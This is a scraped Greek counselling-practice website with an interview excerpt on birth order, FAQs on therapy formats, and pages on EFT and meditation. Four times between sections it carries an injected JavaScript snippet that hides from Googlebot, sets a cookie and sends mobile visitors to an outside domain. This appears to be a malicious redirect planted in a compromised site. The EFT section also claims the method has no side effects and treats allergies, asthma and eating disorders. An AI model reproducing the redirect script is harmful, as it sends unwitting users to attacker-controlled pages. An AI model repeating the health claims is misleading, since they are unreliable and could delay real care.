Σειρά γέννησης και προσωπικότητα

Πως μας επηρεάζει η σειρά γέννησής μας;

“…Η κλινική εμπειρία, η έρευνα, αλλά και η απλή παρατήρηση μας έχουν δείξει πως η σειρά γέννησης ενός παιδιού μέσα στην οικογένεια μπορεί να επηρεάσει σημαντικά την προσωπικότητα του. Κάθε οικογένεια έχει δική της ταυτότητα και ξεχωριστούς κώδικες συμπεριφοράς. Αυτό σημαίνει πως η κλινική παρατήρηση δεν βρίσκει εφαρμογή σε κάθε περίπτωση και πως οι εκτιμήσεις μπορεί να διαφοροποιούνται. Μπορούμε όμως να πούμε, πως τα πρωτότοκα παιδιά τυγχάνουν περισσότερου «σεβασμού» από τους γονείς, ακριβώς επειδή ήρθαν πρώτα στη ζωή τους, ενώ τα μικρότερα είναι συχνά πιο χαιδεμένα και «κακομαθημένα», μιας και «πρέπει» όλοι οι μεγαλύτεροι να τα βοηθούν να μεγαλώσουν. Συνήθως το μεσαίο παιδί, το λεγόμενο «παιδί σάντουιτς» χάνεται μέσα σε όλα αυτά-αν και τα πράγματα διαφοροποιούνται αρκετά αν αυτό είναι διαφορετικού φύλου. Κανείς πάντως δεν μπορεί να είναι απολύτως σίγουρος για το ποιοι είναι ακριβώς οι λόγοι που ωθούν τους γονείς να επιδεικνύουν συμπεριφορές «αδυναμίας» προς κάποιο από τα παιδιά τους, λόγω σειράς γέννησης ή λόγω φύλου, για παράδειγμα, αν και οι ειδικοί προσανατολίζονται στο ότι αυτό έχει να κάνει και με τον δικό τους ρόλο στις πατρικές τους οικογένειες.

Όποιο και αν είναι οι λόγοι που οδηγούν δύο συντρόφους να διευρύνουν την οικογένεια τους, μπορούμε να επισημάνουμε κάποια βασικά και θεμελιώδη λάθη που γίνονται στην ανατροφή των παιδιών εξαιτίας της σειράς γέννησης τους. Αυτά συνήθως αφορούν στη σύγκριση μεταξύ τους, τον υπερτονισμό των αρνητικών στοιχείων ή των αδύναμων σημείων κάθε παιδιού, την «ταμπελοποίηση» της συμπεριφοράς και την έλλειψη ποιοτικού χρόνου μαζί τους. Κάθε παιδί είναι ξεχωριστό, είναι μία αυτόνομη και διαφορετική προσωπικότητα με ιδιαιτερότητες, ξεχωριστές ανησυχίες και διαφορετικό ταπεραμέντο. Ας προσπαθήσουν λοιπόν οι γονείς να αναδείξουν τα θετικά στοιχεία κάθε παιδιού. Ας μεταδώσουν στα πρωτότοκα πως ακόμα και αν έχουν άλλα αδέλφια, η αγάπη τους γι’αυτά παραμένει, στα μεσαία παιδιά το μήνυμα πως τα αγαπούν εξίσου με τα πρωτότοκα και τα στερνοπούλια, και ας διδάξουν στα μικρότερα πως κανείς δεν τους «χρωστάει» και πως θα πρέπει να παλεύουν με τις δικές τους δυνάμεις.

Το μόνο σίγουρο είναι πως όσο και αν κάποια στιγμή οι επιστήμονες τους χώρου αποφανθούν με σιγουριά πως η σειρά γέννησης καθορίζει τη τον χαρακτήρα ενός παιδιού, αυτό που χρειάζεται ένα παιδί πάνω απ’όλα είναι η αγάπη και η ουσιατική φροντίδα…”

Απόσπασμα από τη συνέντευξη του Σπύρου Ρούλια στο περιοδικό PSYCHOLOGIES (Ιούνιος 2012)

Συνεδρίες στην Αγγλική Γλώσσα – Sessions for English speaking people

 

da187070s1

Στο Feel Good Again όλες οι συνεδρίες μπορούν να γίνουν και στην αγγλική γλώσσα.

Feel Good Again offers sessions for English speaking people.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Ατομικές Συνεδρίες

gia eftΠρόκειται για την πιο κλασσική και παραδοσιακή μορφή συνεδριών που εμπεριέχει τη συμμετοχή του ειδικού και του θεραπευόμενου.

Η διάρκεια τους είναι περίπου 50 λεπτά και πραγματοποιούνται ιδανικά σε εβδομαδιαία συχνότητα, κατά προτίμηση την ίδια μέρα και ώρα, υπό τη μορφή συζήτησης.

O στόχος και η εξέλιξη τους επαναξιολογούνται σε τακτά χρονικά διαστήματα, ενώ μέσα από το σταδιακό χτίσιμο της εμπιστοσύνης και του αμοιβαίου σεβασμού με τον θεραπευτή ενδυναμώνεται και ισχυροποιείται η πορεία του θεραπευόμενου πρός τη βαθύτερη εσωτερική γνώση και την ουσιαστικότερη αυτοέκφραση του.

Ατομικές Συνεδρίες

gia eftΠρόκειται για την πιο κλασσική και παραδοσιακή μορφή συνεδριών που εμπεριέχει τη συμμετοχή του ειδικού και του θεραπευόμενου.

Η διάρκεια τους είναι περίπου 50 λεπτά και πραγματοποιούνται ιδανικά σε εβδομαδιαία συχνότητα, κατά προτίμηση την ίδια μέρα και ώρα, υπό τη μορφή συζήτησης. 

Η πορεία και η εξέλιξη τους επαναξιολογούνται σε τακτά χρονικά διαστήματα, ενώ μέσα από το σταδιακό χτίσιμο της εμπιστοσύνης και του αμοιβαίου σεβασμού με τον θεραπευτή ενδυναμώνεται και ισχυροποιείται η  πορεία του θεραπευόμενου προς την βαθύτερη εσωτερική γνώση και την ουσιαστικότερη αυτοέκφραση του.

Συνεδρίες για Ζευγάρια

images.jpgxxxxx Έχω προβλήματα στη σχέση με τον σύντροφο μου. Μπορούμε να συμμετέχουμε μαζί σε συνεδρία;

Φυσικά! Οι συνεδρίες ζευγαριών είναι ιδιαίτερα αποτελεσματικές ειδικά όταν και τα δύο μέλη έχουν συνειδητοποιήσει πως «κάτι δεν πάει καλά στη σχέση» και παράλληλα θέλουν και οι δύο να πάρουν βοήθεια από έναν ειδικό. Δεν είναι όμως καθόλου σπάνιο ένα από τα δύο μέλη του ζευγαριού να έρχεται σχεδόν με το ζόρι στην αρχή και μετά από κάποιο χρονικό διάστημα να συνειδητοποιεί πόσο σημαντική και ουσιαστική είναι η παρουσία του.

Πόση ώρα διαρκεί μία συνεδρία ζευγαριού και με τι συχνότητα πραγματοποιείται;

Η διάρκεια αυτών των συναντήσεων είναι περίπου 75 λεπτά και η συχνότητα τους είναι συνήθως κάθε 15 μέρες.

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Ομάδες Αυτογνωσίας

group-therapy2Οι ομαδικές συνεδρίες είναι εξίσου αποτελεσματικές με τις ατομικές;

 Εξαρτάται. Κάποια άτομα αισθάνονται πιο άνετα μέσα σε μία ομάδα και μέσω της αλληλεπίδρασης με τα υπόλοιπα μέλη βοηθούνται περισσότερο. Από την άλλη πλευρά υπάρχουν άτομα που η χαρακτηριοδομή τους και τα συναισθήματα τους εκφράζονται πιο εύκολα σε ένα πιο «ασφαλές» περιβάλλον που απαιτεί μόνο την παρουσία του ειδικού.

Τι χρονική διάρκεια έχουν και με τι συχνότητα γίνονται οι ομαδικές συνεδρίες;

Οι ομαδικές συνεδρίες έχουν διάρκεια 2 ώρες και η συχνότητα τους είναι συνήθως εβδομαδιαία.

Οικογενειακές Συνεδρίες

images.jpgfamily2Έχουμε πρόβλημα με κάποιο από τα παιδιά μας. Μπορούμε να έρθουμε όλοι μαζί σε κάποια συνάντηση;

Βεβαίως! Οι οικογενειακές συνεδρίες είναι πολύτιμες σε ότι αφορά την κατανόηση σε βάθος των δυναμικών που αναπτύσσονται ανάμεσα στα μέλη μιας οικογένειας, τους επιμέρους ρόλους καθώς και τον τρόπο επικοινωνίας τους. Είναι δε εκπληκτικό το πόσο ουσιαστικές πληροφορίες μας δίνουν τα παιδιά σε αυτές τις συνεδρίες!

Πόση ώρα διαρκεί μία οικογενειακή συνεδρία και με τι συχνότητα πραγματοποιείται;

Η διάρκεια αυτών των συναντήσεων είναι περίπου 75 λεπτά και η συχνότητα τους είναι συνήθως κάθε 15 μέρες

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Aτομικές Συνεδρίες

SDSDSFFΠότε να επισκεφθώ έναν ειδικό;

Όταν αισθάνεσαι πως δεν μπορεί κανείς να σε καταλάβει και πολλά έντονα συναισθήματα μοναξιάς σε κατακλύζουν. Όταν δεν μπορείς να ερμηνεύσεις αυτό που αισθάνεσαι και αυτό σου δημιουργεί την εντύπωση πως είσαι αβοήθητος. Η έλλειψη ουσιαστικής λειτουργικότητας στην καθημερινότητα, είναι το «καμπανάκι» για να επισκεφθείς έναν ειδικό.

Πόσες συνεδρίες θα χρειαστούν;

Όσες χρειαστεί! Η αλήθεια είναι πως δεν υπάρχει συγκεκριμένη απάντηση σε αυτό το ερώτημα. Το πόσος χρόνος θα χρειαστεί, είναι συνάρτηση πολλών παραγόντων που άπτονται του αιτήματος σου, της σχέσης σου με τον ειδικό αλλά και της φύσης του «προβλήματος» που σε οδήγησε στο γραφείο του.

Πόσο διαρκεί κάθε συνεδρία;

Κάθε συνεδρία διαρκεί κατά μέσο όρο από 50 έως 60 λεπτά.

Τι συχνότητα πρέπει να έχουν οι συνεδρίες;

Το συνηθέστερο και πιο αποτελεσματικό μοντέλο απαιτεί συναντήσεις με τον ειδικό μία φορά κάθε εβδομάδα, χωρίς αυτό να αποκλείει συνεδρίες κάθε 15 μέρες ή και περισσότερες από μία φορά μέσα στην εβδομάδα, αν αισθάνεσαι πως σε κάποια δύσκολη χρονική περίοδο το χρειάζεσαι.

Ε.F.T.

581667_121860261336083_605116723_nΤι είναι το “E.F.T.” ;

Το EFT είναι μια ήπια αλλά ταυτόχρονα γρήγορη και πολύ αποτελεσματική μέθοδος για τη επίτευξη της πνευματικής και σωματικής  ισορροπίας.

Είναι μια πολύ σημαντική και σχετικά πρόσφατη ανακάλυψη. Συχνά περιγράφεται ως “βελονισμός των συναισθημάτων” γιατί  χρησιμοποιεί τους ίδιους ενεργειακούς μεσημβρινούς που χρησιμοποιούνται και στον κλασσικό βελονισμό για να αντιμετωπίσει σωματικά και συναισθηματικά προβλήματα, αλλά χωρίς την χρήση των βελόνων.

Τι σημαίνουν τα αρχικά “E.F.T” ;

EFT είναι τα αρχικά των αγγλικών λέξεων «Emotional Freedom Technique» και ελληνικά σημαίνει «Τεχνική Συναισθηματικής Απελευθέρωσης».

Ποια είναι η διαδικασία της μεθόδου;

Η τεχνική αυτή βασίζεται σε απαλά χτυπήματα  με την άκρη των δακτύλων σε συγκεκριμένα σημεία (βελονιστικοί μεσημβρινοί) στο πρόσωπο και το σώμα τα οποία συνδυάζονται με κάποιες δηλώσεις που αφορούν στο συγκεκριμένο πρόβλημα του κάθε ατόμου.

Η διέγερση των μεσημβρινών ταυτόχρονα με τις δηλώσεις, ουσιαστικά αλλάζει τις όποιες υποσυνείδητες «προβληματικές»  καταγραφές μπορεί να ταλαιπωρούν το άτομο, απελευθερώνοντας  την ένταση και την μπλοκαρισμένη ενέργεια κι έτσι μπορεί κανείς να βρει ανακούφιση από το πρόβλημά του.

Έχει παρενέργειες;

Το E.F.T  δεν έχει παρενέργειες, δεν γίνεται χρήση βελόνων, χαπιών ή χημικών ουσιών και δεν ασκείται καμία πίεση ή τράβηγμα στο σώμα. Είναι μια ήπια μέθοδος που συνήθως επιτυγχάνει γρήγορη αντιμετώπιση των εκάστοτε προβλημάτων και τα αποτελέσματα διαρκούν.

Που μπορεί να είναι αποτελεσματικό το Ε.F.T;

Η Τεχνική Συναισθηματικής Απελευθέρωσης  E.F.T , έχει εντυπωσιακά αποτελέσματα όχι μόνο σε ζητήματα στρες και άγχους αλλά σε ένα πολύ ευρύ φάσμα προβλημάτων. Είναι ιδιαίτερα αποτελεσματικό σε :

  •    Φοβίες κάθε είδους όπως Φοβίες για τα ύψη, το νερό, την οδήγηση, την πτήση, αράχνες, έντομα κλπ
  •  Αρνητικά συναισθήματα όπως θλίψη, θυμός, ενοχές, φόβος, άγχος, κρίσεις πανικού, αίσθημα ενοχής, νευρικότητα, απογοήτευση κ.τ.λ.
  •    Σωματικά προβλήματα ψυχο – συναισθηματικής αιτιολογίας όπως πονοκέφαλοι, πόνοι μέσης, στομαχόπονοι, μυϊκοί πόνοι, άσθμα, δύσπνοια, κλπ.
  •   Προβλήματα στις διαπροσωπικές σχέσεις σχετιζόμενα με αρνητικές πεποιθήσεις (έλλειψη αυτοπεποίθησης, προβλήματα σχετικά με την εικόνα   του   εαυτού, έλλειψη κινήτρου, χαμηλή αυτοεκτίμηση,κλπ.
  •     Τραυματικές εμπειρίες  και αναμνήσεις (κακοποίηση, εγκατάλειψη κλπ.)
  •    Προβλήματα πρόσληψης τροφής ( βουλιμία, νευρική ανορεξία, ακατάσχετη επιθυμία για συγκεκριμένες τροφές πχ. σοκολάτα, κλπ.)
  •     Προβλήματα εργασιακής απόδοσης (αναβλητικότητα, αδυναμία συγκέντρωσης, κλπ.)
  •     Μεγιστοποίηση απόδοσης και επίτευξη στόχων σε αθλητές.
  •     Βλαβερές Συνήθειες (πχ. Κάπνισμα)
  •     Αλλεργίες
  •     Διαταραχές ύπνου όπως αϋπνία ή εφιάλτες.

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Διαλογισμός – Συχνές Ερωτήσεις

meditation 2+Τελικά τι είναι «Διαλογισμός»;

….ένα όμορφο ταξίδι προς την εσωτερική γαλήνη!

O διαλογισμός δεν είναι μία εξωτική άσκηση, κάτι το απόκρυφο, εξωπραγματικό ή απροσπέλαστο! Διαλογισμός είναι ένας απλός αλλά αποτελεσματικός τρόπος να εξερευνήσουμε και να κατανοήσουμε το μυστήριο και την ομορφιά του πνεύματός μας, να καλλιεργήσουμε τον πραγματικό εαυτό μας και να αναληφθούμε το νόημα και τον σκοπό της ζωής μας.  Ή πιο απλά…. η αίσθηση ότι ανακαλύπτουμε  ξανά κάτι που υπήρχε πάντα μέσα μας… η εμπειρία των απεριόριστων δυνατοτήτων που έχει ο ανθρώπινος νου!

Μπορούν όλοι να κάνουν διαλογισμό; Μήπως είναι μόνο για τους Βουδιστές;

O Διαλογισμός είναι για όλους! Δεν προορίζεται για «λίγους» ούτε είναι μόνο για όσους έχουν εντρυφήσει στις ανατολικές θρησκείες και εναλλακτικές θεραπείες! Είναι διαθέσιμος για  όλους καθώς είναι κάτι το φυσικό, πρακτικό και πολύ προσγειωμένο. Μπορεί να εφαρμοστεί από όλους τους ανθρώπους ανεξαρτήτως ηλικίας , φυσικής κατάστασης και πίστης.

Τι μπορεί να μου προσφέρει ο Διαλογισμός εκτός από χαλάρωση;

Ο διαλογισμός είναι ένας αποτελεσματικός τρόπος για να αναπτύξει κανείς το δυναμικό του νοητικά, σωματικά αλλά και πνευματικά!

Κάποια από τα άμεσα οφέλη του διαλογισμού είναι το να νιώθει κανείς πιο ήρεμος, πιο συγκεντρωμένος, να εστιάζει ακριβέστερα στους στόχους του, να βελτιώσει τις μαθησιακές του ικανότητες και έτσι να βιώνει την καθημερινότητα του μέσα από ένα κλίμα χαλάρωσης.

Ο διαλογισμός σταδιακά  μας μαθαίνει να έχουμε αυτοκυριαρχία, αυτοεκτίμηση, αυτοπεποίθηση, καλύτερη αντίληψη και κατανόηση του εαυτού μας και των ανθρώπων γύρω μας, ενώ μπορεί να βελτιώσει τη φυσική μας κατάσταση ενισχύοντας  το ανοσοποιητικό, να  περιορίσει τις λοιμώξεις και φλεγμονές, να επιταχύνει την ανάρρωση ακόμα και να ρυθμίσει την αρτηριακή μας πίεση με το να μειώσει σημαντικά το άγχος!

 Πρέπει να απαραίτητα να κάθομαι σε συγκεκριμένη στάση κατά τη διάρκεια του Διαλογισμού;

Οι πατροπαράδοτες μορφές διαλογισμού ασκούνται σε συγκεκριμένες στάσεις (πχ. οκλαδόν ή στάση του λωτού) ο οποίες συχνά είναι άβολες και δύσκολες για τους δυτικούς. Παρ’όλα αυτά δεν χρειάζεται να είναι κανείς νέος και ευλύγιστος για να κάνει διαλογισμό. Αυτό που έχει σημασία είναι το να νιώθει κανείς άνετα. Μπορεί κανείς να διαλογισθεί καθιστός στο πάτωμα, ξαπλωτός  ή ακόμα και καθιστός σε καρέκλα! Σημαντικό αισθάνεται κανείς βολικά , να αναπνέει ελεύθερα, να είναι σε σωστή θερμοκρασία ο χώρος και φυσικά να φοράει χαλαρά και άνετα ρούχα.

 Κάθε πότε πρέπει να διαλογίζεται κανείς;

